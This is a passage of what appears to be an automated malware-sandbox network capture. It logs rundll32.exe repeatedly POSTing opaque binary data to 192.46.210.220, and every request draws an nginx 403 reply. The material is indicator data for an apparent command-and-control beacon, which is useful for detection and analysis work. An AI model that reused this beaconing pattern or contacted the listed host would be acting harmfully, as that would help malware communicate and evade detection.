f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:22 UTC	29	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:22 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	50013	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:52 UTC	247	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:52 UTC	247	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:53 UTC	256	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:53 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	50014	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:52 UTC	251	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:52 UTC	252	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:53 UTC	256	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:53 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	50021	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:56 UTC	257	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:56 UTC	257	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:57 UTC	266	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:57 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	50022	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:54:56 UTC	261	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:54:56 UTC	261	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:54:57 UTC	266	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:54:57 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	50029	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:00 UTC	266	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:00 UTC	266	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:00 UTC	276	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:00 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	50030	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:00 UTC	271	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:00 UTC	271	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:01 UTC	276	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:00 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	50037	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:04 UTC	276	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:04 UTC	276	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:04 UTC	286	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:04 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	50038	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:04 UTC	281	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:04 UTC	281	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:04 UTC	286	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:04 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	50044	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:09 UTC	286	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:09 UTC	286	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:10 UTC	296	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:09 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	50046	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:09 UTC	291	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:09 UTC	291	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:10 UTC	296	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:10 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49766	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:25 UTC	29	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:25 UTC	29	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:26 UTC	39	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:26 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	50052	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:13 UTC	296	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:13 UTC	296	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:13 UTC	306	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:13 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.3	50054	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:13 UTC	301	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:13 UTC	301	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:14 UTC	306	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:14 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.3	50060	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:17 UTC	306	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:17 UTC	306	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:17 UTC	316	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:17 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.3	50062	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:17 UTC	311	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
